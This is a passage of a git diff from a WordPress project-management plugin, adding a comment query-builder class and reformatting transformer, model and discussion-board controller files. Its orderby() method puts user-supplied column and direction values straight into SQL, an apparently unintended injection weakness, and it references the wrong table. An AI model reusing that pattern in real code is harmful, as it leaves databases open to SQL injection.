self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_comments( $self->comments ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format TaskMilestone data + * + * @param array $comments + * + * @return array + */ + public function format_comments( $comments ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + // if ( ! is_array( $comments ) ) { + // $response['data'] = $this->fromat_comment( $comments ); + + // return $response; + // } + + foreach ( $comments as $key => $comment ) { + $comments[$key] = $this->fromat_comment( $comment ); + } + + $response['data'] = $comments; + $response ['meta'] = $this->set_comments_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_comments_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_comment( $comment ) { + + $items = [ + 'id' => (int) $comment->id, + 'content' => pm_get_content( $comment->content ), + 'commentable_type' => $comment->commentable_type, + 'commentable_id' => $comment->commentable_id, + 'created_at' => format_date( $comment->created_at ), + 'project_id' => (int) $comment->project_id, + 'meta' => [ + //'total_replies' => $comment->replies->count(), + ] + ]; + + $items = $this->item_with( $items, $comment ); + + return apply_filters( 'pm_comment_transform', $items, $comment ); + } + + private function join() { + return $this; + } + + private function with() { + $this->creator() + ->updater() + ->files(); + + return $this; + } + + private function where() { + $this->where_id() + ->where_commentable_id() + ->where_commentable_type(); + + return $this; + } + + private function where_commentable_id() { + global $wpdb; + $commentable_id = isset( $this->query_params['commentable_id'] ) ? $this->query_params['commentable_id'] : false; + + if ( empty( $commentable_id ) ) { + return $this; + } + + $commentable_id = pm_get_prepare_data( $commentable_id ); + + if ( is_array( $commentable_id ) ) { + $query_format = pm_get_prepare_format( $commentable_id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_id IN ($query_format)", $commentable_id ); + } + + if ( !is_array( $commentable_id ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_id IN (%d)", $commentable_id ); + } + + return $this; + } + + /** + * Filter activity by ID + * + * @return class object + */ + private function where_commentable_type() { + global $wpdb; + $commentable_type = isset( $this->query_params['commentable_type'] ) ? $this->query_params['commentable_type'] : false; + + if ( empty( $commentable_type ) ) { + return $this; + } + + $commentable_type = pm_get_prepare_data( $commentable_type ); + + if ( is_array( $commentable_type ) ) { + $query_format = pm_get_prepare_format( $commentable_type, true ); + $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_type IN ($query_format)", $commentable_type ); + } + + if ( !is_array( $commentable_type ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.commentable_type IN (%s)", $commentable_type ); + } + + return $this; + } + + /** + * Filter comment by ID + * + * @return class object + */ + private function where_id() { + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + global $wpdb; + $format = pm_get_prepare_format( $id ); + $format_ids = pm_get_prepare_data( $id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_comment}.id IN ($format)", $format_ids ); + + if ( count( $format_ids ) == 1 ) { + $this->is_single_query = true; + } + + return $this; + } + + private function files() { + global $wpdb; + + if ( empty( $this->comment_ids ) ) { + return $this; + } + + $tb_files = pm_tb_prefix() . 'pm_files'; + $comment_format = pm_get_prepare_format( $this->comment_ids ); + $query_data = $this->comment_ids; + + $query = "SELECT DISTINCT fil.id as file_id, + fil.fileable_id as comment_id + FROM $tb_files as fil + where fil.fileable_id IN ($comment_format) + AND fil.fileable_type=%s"; + + array_push( $query_data, 'comment' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $file_ids = wp_list_pluck( $results, 'file_id' ); + + $files = File::get_results([ + 'id' => $file_ids + ]); + + $key_files = []; + + + foreach ( $files['data'] as $key => $file ) { + $key_files[$file['id']] = $file; + } + + foreach ( $results as $key => $result ) { + $files[$result->comment_id][] = $key_files[$result->file_id]; + } + + foreach ( $this->comments as $key => $comment ) { + $comment->files['data'] = empty( $files[$comment->id] ) ? [] : $files[$comment->id]; + } + + return $this; + } + + private function creator() { + + if ( empty( $this->comments ) ) { + return $this; + } + + $creator_ids = wp_list_pluck( $this->comments, 'created_by' ); + $creator_ids = array_unique( $creator_ids ); + + $creators = pm_get_users( [ 'id' => $creator_ids ] ); + + $creators = $creators['data']; + + $items = []; + + foreach ( $creators as $key => $creator ) { + $items[$creator['id']] = $creator; + } + + foreach ( $this->comments as $key => $comment ) { + $c_creator = empty( $items[$comment->created_by] ) ? [] : $items[$comment->created_by]; + + $comment->creator = [ 'data' => $c_creator ]; + } + + return $this; + } + + private function updater() { + if ( empty( $this->comments ) ) { + return $this; + } + + $updater_ids = wp_list_pluck( $this->comments, 'updated_by' ); + $updater_ids = array_unique( $updater_ids ); + + $updaters = pm_get_users( [ 'id' => $updater_ids ] ); + $updaters = $updaters['data']; + + $items = []; + + foreach ( $updaters as $key => $updater ) { + $items[$updater['id']] = $updater; + } + + foreach ( $this->comments as $key => $comment ) { + $c_updater = empty( $items[$comment->updated_by] ) ? [] : $items[$comment->updated_by]; + + $comment->updater = [ 'data' => $c_updater ]; + } + + return $this; + } + + private function meta() { + return $this; + } + + private function item_with( $items, $comment ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $with = array_merge( $this->with, $with ); + + $comment_with_items = array_intersect_key( (array) $comment, array_flip( $with ) ); + + $items = array_merge( $items, $comment_with_items ); + + return $items; + } + + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_boards'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + return 10; + } + + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_comment}.* + FROM {$this->tb_comment} + {$this->join} + WHERE %d=%d {$this->where} + {$this->orderby} {$this->limit}"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->comments = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->comment_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->comment_ids = [$results->id]; + } + + return $this; + } + + private function set_table_name() { + $this->tb_comment = pm_tb_prefix() . 'pm_comments'; + } + +} diff --git a/src/Comment/Transformers/Comment_Transformer.php b/src/Comment/Transformers/Comment_Transformer.php index de48107e2..537fdfbe6 100644 --- a/src/Comment/Transformers/Comment_Transformer.php +++ b/src/Comment/Transformers/Comment_Transformer.php @@ -1,89 +1,89 @@ - (int) $item->id, - 'content' => pm_get_content( $item->content ), - 'commentable_type' => $item->commentable_type, - 'commentable_id' => $item->commentable_id, - 'created_at' => format_date( $item->created_at ), - 'updated_at' => format_date( $item->updated_at ), - 'project_id' => (int) $item->project_id, - 'meta' => [ - 'total_replies' => $item->replies->count(), - ], - - ]; - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_comment_transformer_default_includes", $this->defaultIncludes ); - } - - /** - * Include replies to a comment - * - * @param Comment $item - * @return \League\Fractal\Resource\Collection - */ - public function includeReplies( Comment $item ) { - $page = isset( $_GET['reply_page'] ) ? intval( $_GET['reply_page'] ) : 1; - - $replies = $item->replies()->paginate( pm_config('app.comment_per_page'), ['*'], 'reply_page', $page ); - - $reply_collection = $replies->getCollection(); - $resource = $this->collection( $reply_collection, new Comment_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $replies ) ); - - return $resource; - } - - /** - * Include files to a comment - * - * @param Comment $item - * @return \League\Fractal\Resource\Collection - */ - public function includeFiles( Comment $item ) { - $page = isset( $_GET['file_page'] ) ? intval( $_GET['file_page'] ) : 1; - - $files = $item->files()->get(); - - $resource = $this->collection( $files, new File_Transformer ); - - return $resource; - } -} + (int) $item->id, + 'content' => pm_get_content( $item->content ), + 'commentable_type' => $item->commentable_type, + 'commentable_id' => $item->commentable_id, + 'created_at' => format_date( $item->created_at ), + 'updated_at' => format_date( $item->updated_at ), + 'project_id' => (int) $item->project_id, + 'meta' => [ + 'total_replies' => $item->replies->count(), + ], + + ]; + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_comment_transformer_default_includes", $this->defaultIncludes ); + } + + /** + * Include replies to a comment + * + * @param Comment $item + * @return \League\Fractal\Resource\Collection + */ + public function includeReplies( Comment $item ) { + $page = isset( $_GET['reply_page'] ) ? intval( $_GET['reply_page'] ) : 1; + + $replies = $item->replies()->paginate( pm_config('app.comment_per_page'), ['*'], 'reply_page', $page ); + + $reply_collection = $replies->getCollection(); + $resource = $this->collection( $reply_collection, new Comment_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $replies ) ); + + return $resource; + } + + /** + * Include files to a comment + * + * @param Comment $item + * @return \League\Fractal\Resource\Collection + */ + public function includeFiles( Comment $item ) { + $page = isset( $_GET['file_page'] ) ? intval( $_GET['file_page'] ) : 1; + + $files = $item->files()->get(); + + $resource = $this->collection( $files, new File_Transformer ); + + return $resource; + } +} diff --git a/src/Common/Models/Meta.php b/src/Common/Models/Meta.php index cc87b89ec..55f4bbd07 100644 --- a/src/Common/Models/Meta.php +++ b/src/Common/Models/Meta.php @@ -1,40 +1,40 @@ -belongsTo( 'WeDevs\PM\Milestone\Models\Milestone', 'entity_id' ); - } - - public function getMetaValueAttribute( $value ) { - return maybe_unserialize( $value ); - } - - public function setMetaValueAttribute( $value ) { - if( !is_serialized( $value ) ) { - $value = maybe_serialize($value); - } - - $this->attributes['meta_value'] = $value; - } +belongsTo( 'WeDevs\PM\Milestone\Models\Milestone', 'entity_id' ); + } + + public function getMetaValueAttribute( $value ) { + return maybe_unserialize( $value ); + } + + public function setMetaValueAttribute( $value ) { + if( !is_serialized( $value ) ) { + $value = maybe_serialize($value); + } + + $this->attributes['meta_value'] = $value; + } } \ No newline at end of file diff --git a/src/Common/Traits/Transformer_Manager.php b/src/Common/Traits/Transformer_Manager.php index 86e5297f4..02abeda64 100644 --- a/src/Common/Traits/Transformer_Manager.php +++ b/src/Common/Traits/Transformer_Manager.php @@ -1,58 +1,58 @@ -setSerializer( new DataArraySerializer() ); - - if ( isset( $_GET['with'] ) ) { - $manager->parseIncludes( sanitize_text_field( wp_unslash( $_GET['with'] ) ) ) ; - } - - if ($resource) { - $response = $manager->createData( $resource )->toArray(); - - } else { - $response = []; - } - - return array_merge( $extra, $response ); - } - - public function get_json_response( $resource, $extra = [] ) { - $manager = new Manager(); - $manager->setSerializer( new DataArraySerializer() ); - - if ( isset( $_GET['with'] ) ) { - $manager->parseIncludes( sanitize_text_field( wp_unslash( $_GET['with'] ) ) ); - } - - if ($resource) { - $response = $manager->createData( $resource )->toArray(); - } else { - $response = []; - } - - return json_encode( array_merge( $extra, $response ) ); - } - - public function set_created_by( $resource ) { - $user = wp_get_current_user(); - $resource->created_by = $user->ID; - $resource->updated_by = $user->ID; - return $resource; - } - - public function set_updated_by( $resource ) { - $user = wp_get_current_user(); - $resource->updated_by = $user->ID; - return $resource; - } -} +setSerializer( new DataArraySerializer() ); + + if ( isset( $_GET['with'] ) ) { + $manager->parseIncludes( sanitize_text_field( wp_unslash( $_GET['with'] ) ) ) ; + } + + if ($resource) { + $response = $manager->createData( $resource )->toArray(); + + } else { + $response = []; + } + + return array_merge( $extra, $response ); + } + + public function get_json_response( $resource, $extra = [] ) { + $manager = new Manager(); + $manager->setSerializer( new DataArraySerializer() ); + + if ( isset( $_GET['with'] ) ) { + $manager->parseIncludes( sanitize_text_field( wp_unslash( $_GET['with'] ) ) ); + } + + if ($resource) { + $response = $manager->createData( $resource )->toArray(); + } else { + $response = []; + } + + return json_encode( array_merge( $extra, $response ) ); + } + + public function set_created_by( $resource ) { + $user = wp_get_current_user(); + $resource->created_by = $user->ID; + $resource->updated_by = $user->ID; + return $resource; + } + + public function set_updated_by( $resource ) { + $user = wp_get_current_user(); + $resource->updated_by = $user->ID; + return $resource; + } +} diff --git a/src/Common/Transformers/Assignee_Transformer.php b/src/Common/Transformers/Assignee_Transformer.php index 4d445d23d..c28f9b8d6 100644 --- a/src/Common/Transformers/Assignee_Transformer.php +++ b/src/Common/Transformers/Assignee_Transformer.php @@ -1,47 +1,47 @@ - (int) $item->id, - 'status' => $item->status, - 'assigned_at' => format_date( $item->assigned_at ), - 'started_at' => format_date( $item->started_at ), - 'completed_at' => format_date( $item->completed_at ), - ]; - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_assignee_transformer_default_includes", $this->defaultIncludes ); - } - - public function includeUser( Assignee $item ) { - $user = $item->assigned_user; - - return $this->item( $user, new User_Transformer ); - } + (int) $item->id, + 'status' => $item->status, + 'assigned_at' => format_date( $item->assigned_at ), + 'started_at' => format_date( $item->started_at ), + 'completed_at' => format_date( $item->completed_at ), + ]; + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_assignee_transformer_default_includes", $this->defaultIncludes ); + } + + public function includeUser( Assignee $item ) { + $user = $item->assigned_user; + + return $this->item( $user, new User_Transformer ); + } } \ No newline at end of file diff --git a/src/Common/Transformers/Board_Transformer.php b/src/Common/Transformers/Board_Transformer.php index c940f4c57..2d3a578a7 100644 --- a/src/Common/Transformers/Board_Transformer.php +++ b/src/Common/Transformers/Board_Transformer.php @@ -1,26 +1,26 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => $item->description, - 'board_type' => $item->type, - 'created_at' => format_date( $item->created_at ), - ]; - } + (int) $item->id, + 'title' => $item->title, + 'description' => $item->description, + 'board_type' => $item->type, + 'created_at' => format_date( $item->created_at ), + ]; + } } \ No newline at end of file diff --git a/src/Discussion_Board/Controllers/Discussion_Board_Controller.php b/src/Discussion_Board/Controllers/Discussion_Board_Controller.php index 3a9e0bcf9..984cefb2b 100644 --- a/src/Discussion_Board/Controllers/Discussion_Board_Controller.php +++ b/src/Discussion_Board/Controllers/Discussion_Board_Controller.php @@ -1,253 +1,253 @@ -get_param( 'project_id' ); - $per_page = $request->get_param( 'per_page' ); - $per_page = $per_page ? $per_page : 15; - - $page = $request->get_param( 'page' ); - $page = $page ? $page : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $discussion_boards = Discussion_Board::where( 'project_id', $project_id ); - $discussion_boards = apply_filters( 'pm_discuss_index_query', $discussion_boards, $project_id, $request ); - $discussion_boards = $discussion_boards->orderBy( 'created_at', 'DESC' ) - ->paginate( $per_page ); - - $discussion_board_collection = $discussion_boards->getCollection(); - - $resource = new Collection( $discussion_board_collection, new Discussion_Board_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $discussion_boards ) ); - $resource = apply_filters( 'pm_get_messages', $resource, $request ); - return $this->get_response( $resource ); - } - - public function show( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $discussion_board_id = $request->get_param( 'discussion_board_id' ); - - $discussion_board = Discussion_Board::with('metas')->where( 'id', $discussion_board_id )->where( 'project_id', $project_id ); - $discussion_board = apply_filters( 'pm_discuss_show_query', $discussion_board, $project_id, $request ); - $discussion_board = $discussion_board->first(); - - if ( $discussion_board == NULL ) { - return $this->get_response( null, [ - 'message' => pm_get_text('success_messages.no_element') - ] ); - } - $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); - $resource = apply_filters( 'pm_get_message', $resource, $request ); - return $this->get_response( $resource ); - } - - public function store( WP_REST_Request $request ) { - - $data = $this->extract_non_empty_values( $request ); - $media_data = $request->get_file_params(); - $milestone_id = $request->get_param( 'milestone' ); - $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; - - $is_private = $request->get_param( 'privacy' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - $milestone = Milestone::find( $milestone_id ); - $discussion_board = Discussion_Board::create( $data ); - - if ( $milestone ) { - $this->attach_milestone( $discussion_board, $milestone ); - } - - if ( $files ) { - $this->attach_files( $discussion_board, $files ); - } - do_action( 'pm_new_message_before_response', $discussion_board, $request->get_params() ); - $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); - $message = [ - 'message' => pm_get_text('success_messages.discuss_created') - ]; - $resource = apply_filters( 'pm_ater_new_message', $resource, $request ); - $response = $this->get_response( $resource, $message ); - do_action( 'cpm_message_new', $discussion_board->id, $request->get_params( 'project_id' ), $request->get_params() ); - do_action( 'pm_after_new_message', $response, $request->get_params(), $discussion_board ); - return $response; - } - - public function update( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - $media_data = $request->get_file_params(); - $project_id = $request->get_param( 'project_id' ); - $discussion_board_id = $request->get_param( 'discussion_board_id' ); - $milestone_id = $request->get_param( 'milestone' ); - $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; - $files_to_delete = $request->get_param( 'files_to_delete' ); - - $is_private = $request->get_param( 'privacy' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - $milestone = Milestone::find( $milestone_id ); - $discussion_board = Discussion_Board::with('metas')->where( 'id', $discussion_board_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $discussion_board->update_model( $data ); - - if ( $milestone ) { - $this->attach_milestone( $discussion_board, $milestone ); - } - - if ( $files ) { - $this->attach_files( $discussion_board, $files ); - } - - if ( $files_to_delete ) { - $this->detach_files( $discussion_board, $files_to_delete ); - } - do_action( 'pm_update_message_before_response', $discussion_board, $request->get_params() ); - $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.discuss_updated') - ]; - - $resource = apply_filters( 'pm_ater_new_message', $resource, $request ); - $response = $this->get_response( $resource, $message ); - do_action( 'cpm_message_update', $discussion_board_id, $project_id, $request->get_params() ); - do_action( 'pm_after_update_message', $response, $request->get_params(), $discussion_board ); - return $response; - } - - public function destroy( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $discussion_board_id = $request->get_param( 'discussion_board_id' ); - - $discussion_board = Discussion_Board::where( 'id', $discussion_board_id ) - ->where( 'project_id', $project_id ) - ->first(); - do_action( 'pm_before_delete_message', $discussion_board, $request->get_params() ); - do_action( 'cpm_message_delete', $discussion_board_id, false ); - $comments = $discussion_board->comments; - foreach ($comments as $comment) { - $comment->replies()->delete(); - $this->detach_files( $comment ); - } - $discussion_board->comments()->delete(); - $this->detach_files( $discussion_board ); - $discussion_board->users()->detach(); - - $discussion_board->delete(); - - $message = [ - 'message' => pm_get_text('success_messages.discuss_deleted') - ]; - do_action( 'pm_after_delete_message', $request->get_params() ); - return $this->get_response(false, $message); - } - - private function attach_milestone( Discussion_Board $board, Milestone $milestone ) { - $boardable = Boardable::where( 'boardable_id', $board->id ) - ->where( 'boardable_type', 'discussion_board' ) - ->where( 'board_type', 'milestone' ) - ->first(); - - if ( !$boardable ) { - $boardable = Boardable::firstOrCreate([ - 'boardable_id' => $board->id, - 'boardable_type' => 'discussion_board', - 'board_id' => $milestone->id, - 'board_type' => 'milestone' - ]); - } else { - $boardable->update([ - 'board_id' => $milestone->id - ]); - } - } - - public function attach_users( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $discussion_board_id = $request->get_param( 'discussion_board_id' ); - - $discussion_board = Discussion_Board::where( 'id', $discussion_board_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $user_ids = $request->get_param( 'users' ); - - if ( is_array( $user_ids ) ) { - foreach ( $user_ids as $user_id ) { - $data = [ - 'board_id' => $discussion_board->id, - 'board_type' => 'discussion_board', - 'boardable_id' => $user_id, - 'boardable_type' => 'user' - ]; - Boardable::firstOrCreate( $data ); - } - } - - $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); - - return $this->get_response( $resource ); - } - - public function detach_users( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $discussion_board_id = $request->get_param( 'discussion_board_id' ); - - $discussion_board = Discussion_Board::where( 'id', $discussion_board_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $user_ids = $request->get_param( 'users' ); - - if ( is_array( $user_ids ) ) { - $discussion_board->users()->detach( $user_ids ); - } - - $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); - - return $this->get_response( $resource ); - } - - public function privacy( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $discussion_board_id = $request->get_param( 'discussion_board_id' ); - $privacy = $request->get_param( 'is_private' ); - $discuss = Discussion_Board::find( $discussion_board_id ); - $discuss->update_model( [ - 'is_private' => $privacy - ] ); - pm_update_meta( $discussion_board_id, $project_id, 'discussion_board', 'privacy', $privacy ); - return $this->get_response( NULL); - } -} - - - +get_param( 'project_id' ); + $per_page = $request->get_param( 'per_page' ); + $per_page = $per_page ? $per_page : 15; + + $page = $request->get_param( 'page' ); + $page = $page ? $page : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $discussion_boards = Discussion_Board::where( 'project_id', $project_id ); + $discussion_boards = apply_filters( 'pm_discuss_index_query', $discussion_boards, $project_id, $request ); + $discussion_boards = $discussion_boards->orderBy( 'created_at', 'DESC' ) + ->paginate( $per_page ); + + $discussion_board_collection = $discussion_boards->getCollection(); + + $resource = new Collection( $discussion_board_collection, new Discussion_Board_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $discussion_boards ) ); + $resource = apply_filters( 'pm_get_messages', $resource, $request ); + return $this->get_response( $resource ); + } + + public function show( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $discussion_board_id = $request->get_param( 'discussion_board_id' ); + + $discussion_board = Discussion_Board::with('metas')->where( 'id', $discussion_board_id )->where( 'project_id', $project_id ); + $discussion_board = apply_filters( 'pm_discuss_show_query', $discussion_board, $project_id, $request ); + $discussion_board = $discussion_board->first(); + + if ( $discussion_board == NULL ) { + return $this->get_response( null, [ + 'message' => pm_get_text('success_messages.no_element') + ] ); + } + $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); + $resource = apply_filters( 'pm_get_message', $resource, $request ); + return $this->get_response( $resource ); + } + + public function store( WP_REST_Request $request ) { + + $data = $this->extract_non_empty_values( $request ); + $media_data = $request->get_file_params(); + $milestone_id = $request->get_param( 'milestone' ); + $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; + + $is_private = $request->get_param( 'privacy' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + $milestone = Milestone::find( $milestone_id ); + $discussion_board = Discussion_Board::create( $data ); + + if ( $milestone ) { + $this->attach_milestone( $discussion_board, $milestone ); + } + + if ( $files ) { + $this->attach_files( $discussion_board, $files ); + } + do_action( 'pm_new_message_before_response', $discussion_board, $request->get_params() ); + $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); + $message = [ + 'message' => pm_get_text('success_messages.discuss_created') + ]; + $resource = apply_filters( 'pm_ater_new_message', $resource, $request ); + $response = $this->get_response( $resource, $message ); + do_action( 'cpm_message_new', $discussion_board->id, $request->get_params( 'project_id' ), $request->get_params() ); + do_action( 'pm_after_new_message', $response, $request->get_params(), $discussion_board ); + return $response; + } + + public function update( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + $media_data = $request->get_file_params(); + $project_id = $request->get_param( 'project_id' ); + $discussion_board_id = $request->get_param( 'discussion_board_id' ); + $milestone_id = $request->get_param( 'milestone' ); + $files = array_key_exists( 'files', $media_data ) ? $media_data['files'] : null; + $files_to_delete = $request->get_param( 'files_to_delete' ); + + $is_private = $request->get_param( 'privacy' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + $milestone = Milestone::find( $milestone_id ); + $discussion_board = Discussion_Board::with('metas')->where( 'id', $discussion_board_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $discussion_board->update_model( $data ); + + if ( $milestone ) { + $this->attach_milestone( $discussion_board, $milestone ); + } + + if ( $files ) { + $this->attach_files( $discussion_board, $files ); + } + + if ( $files_to_delete ) { + $this->detach_files( $discussion_board, $files_to_delete ); + } + do_action( 'pm_update_message_before_response', $discussion_board, $request->get_params() ); + $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.discuss_updated') + ]; + + $resource = apply_filters( 'pm_ater_new_message', $resource, $request ); + $response = $this->get_response( $resource, $message ); + do_action( 'cpm_message_update', $discussion_board_id, $project_id, $request->get_params() ); + do_action( 'pm_after_update_message', $response, $request->get_params(), $discussion_board ); + return $response; + } + + public function destroy( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $discussion_board_id = $request->get_param( 'discussion_board_id' ); + + $discussion_board = Discussion_Board::where( 'id', $discussion_board_id ) + ->where( 'project_id', $project_id ) + ->first(); + do_action( 'pm_before_delete_message', $discussion_board, $request->get_params() ); + do_action( 'cpm_message_delete', $discussion_board_id, false ); + $comments = $discussion_board->comments; + foreach ($comments as $comment) { + $comment->replies()->delete(); + $this->detach_files( $comment ); + } + $discussion_board->comments()->delete(); + $this->detach_files( $discussion_board ); + $discussion_board->users()->detach(); + + $discussion_board->delete(); + + $message = [ + 'message' => pm_get_text('success_messages.discuss_deleted') + ]; + do_action( 'pm_after_delete_message', $request->get_params() ); + return $this->get_response(false, $message); + } + + private function attach_milestone( Discussion_Board $board, Milestone $milestone ) { + $boardable = Boardable::where( 'boardable_id', $board->id ) + ->where( 'boardable_type', 'discussion_board' ) + ->where( 'board_type', 'milestone' ) + ->first(); + + if ( !$boardable ) { + $boardable = Boardable::firstOrCreate([ + 'boardable_id' => $board->id, + 'boardable_type' => 'discussion_board', + 'board_id' => $milestone->id, + 'board_type' => 'milestone' + ]); + } else { + $boardable->update([ + 'board_id' => $milestone->id + ]); + } + } + + public function attach_users( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $discussion_board_id = $request->get_param( 'discussion_board_id' ); + + $discussion_board = Discussion_Board::where( 'id', $discussion_board_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $user_ids = $request->get_param( 'users' ); + + if ( is_array( $user_ids ) ) { + foreach ( $user_ids as $user_id ) { + $data = [ + 'board_id' => $discussion_board->id, + 'board_type' => 'discussion_board', + 'boardable_id' => $user_id, + 'boardable_type' => 'user' + ]; + Boardable::firstOrCreate( $data ); + } + } + + $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); + + return $this->get_response( $resource ); + } + + public function detach_users( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $discussion_board_id = $request->get_param( 'discussion_board_id' ); + + $discussion_board = Discussion_Board::where( 'id', $discussion_board_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $user_ids = $request->get_param( 'users' ); + + if ( is_array( $user_ids ) ) { + $discussion_board->users()->detach( $user_ids ); + } + + $resource = new Item( $discussion_board, new Discussion_Board_Transformer ); + + return $this->get_response( $resource ); + } + + public function privacy( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $discussion_board_id = $request->get_param( 'discussion_board_id' ); + $privacy = $request->get_param( 'is_private' ); + $discuss = Discussion_Board::find( $discussion_board_id ); + $discuss->update_model( [ + 'is_private' => $privacy + ] ); + pm_update_meta( $discussion_board_id, $project_id, 'discussion_board', 'privacy', $privacy ); + return $this->get_response( NULL); + } +} + + + diff --git a/src/Discussion_Board/Helper/Discussion_Board.php b/src/Discussion_Board/Helper/Discussion_Board.php index 622be5c5e..c3b6031ee 100644 --- a/src/Discussion_Board/Helper/Discussion_Board.php +++ b/src/Discussion_Board/Helper/Discussion_Board.php @@ -1,721 +1,721 @@ -'asc', 'id'=>desc] -// discussion_board_meta: 'total_task_discussion_boards,total_tasks,total_complete_tasks,total_incomplete_tasks,total_discussion_boards,total_discussion_boards,total_comments,total_files,total_activities' -// }, - -class Discussion_Board { - private static $_instance; - private $query_params; - private $select; - private $join; - private $where; - private $limit; - private $orderby; - private $with = ['creator', 'updater']; - private $discussion_boards; - private $discussion_board_ids; - private $is_single_query = false; - - public static function getInstance() { - return new self(); - } 